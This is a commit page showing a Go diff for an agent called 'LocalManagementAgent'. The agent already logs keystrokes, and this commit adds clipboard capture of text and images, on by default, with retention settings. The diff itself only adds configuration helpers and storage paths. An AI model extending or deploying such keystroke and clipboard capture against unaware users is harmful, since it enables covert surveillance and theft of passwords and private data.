Add clipboard monitoring functionality to the agent. Implement clipboard event logging, including text and image capture, with support for retention policies. Update API to allow file deletion and enhance web interface for file management. Add tests for clipboard operations.
This commit is contained in:
@@ -25,6 +25,7 @@ const (
|
||||
AppDataDir = "LocalManagementAgent"
|
||||
InstalledExeName = "localagent.exe"
|
||||
KeylogSubdir = "keystrokes"
|
||||
ClipboardSubdir = "clipboard"
|
||||
DefaultKeylogRetentionDays = 7
|
||||
)
|
||||
|
||||
@@ -79,3 +80,32 @@ func InstalledExe() (string, error) {
|
||||
}
|
||||
return filepath.Join(dir, InstalledExeName), nil
|
||||
}
|
||||
|
||||
func ClipboardEnabled() bool {
|
||||
switch strings.ToLower(strings.TrimSpace(os.Getenv("CLIPBOARD_ENABLED"))) {
|
||||
case "0", "false", "no", "off":
|
||||
return false
|
||||
default:
|
||||
return true
|
||||
}
|
||||
}
|
||||
|
||||
func ClipboardRetentionDays() int {
|
||||
raw := strings.TrimSpace(os.Getenv("CLIPBOARD_RETENTION_DAYS"))
|
||||
if raw == "" {
|
||||
return KeylogRetentionDays()
|
||||
}
|
||||
days, err := strconv.Atoi(raw)
|
||||
if err != nil || days < 0 {
|
||||
return DefaultKeylogRetentionDays
|
||||
}
|
||||
return days
|
||||
}
|
||||
|
||||
func ClipboardDir() (string, error) {
|
||||
base, err := InstallDir()
|
||||
if err != nil {
|
||||
return "", err
|
||||
}
|
||||
return filepath.Join(base, ClipboardSubdir), nil
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user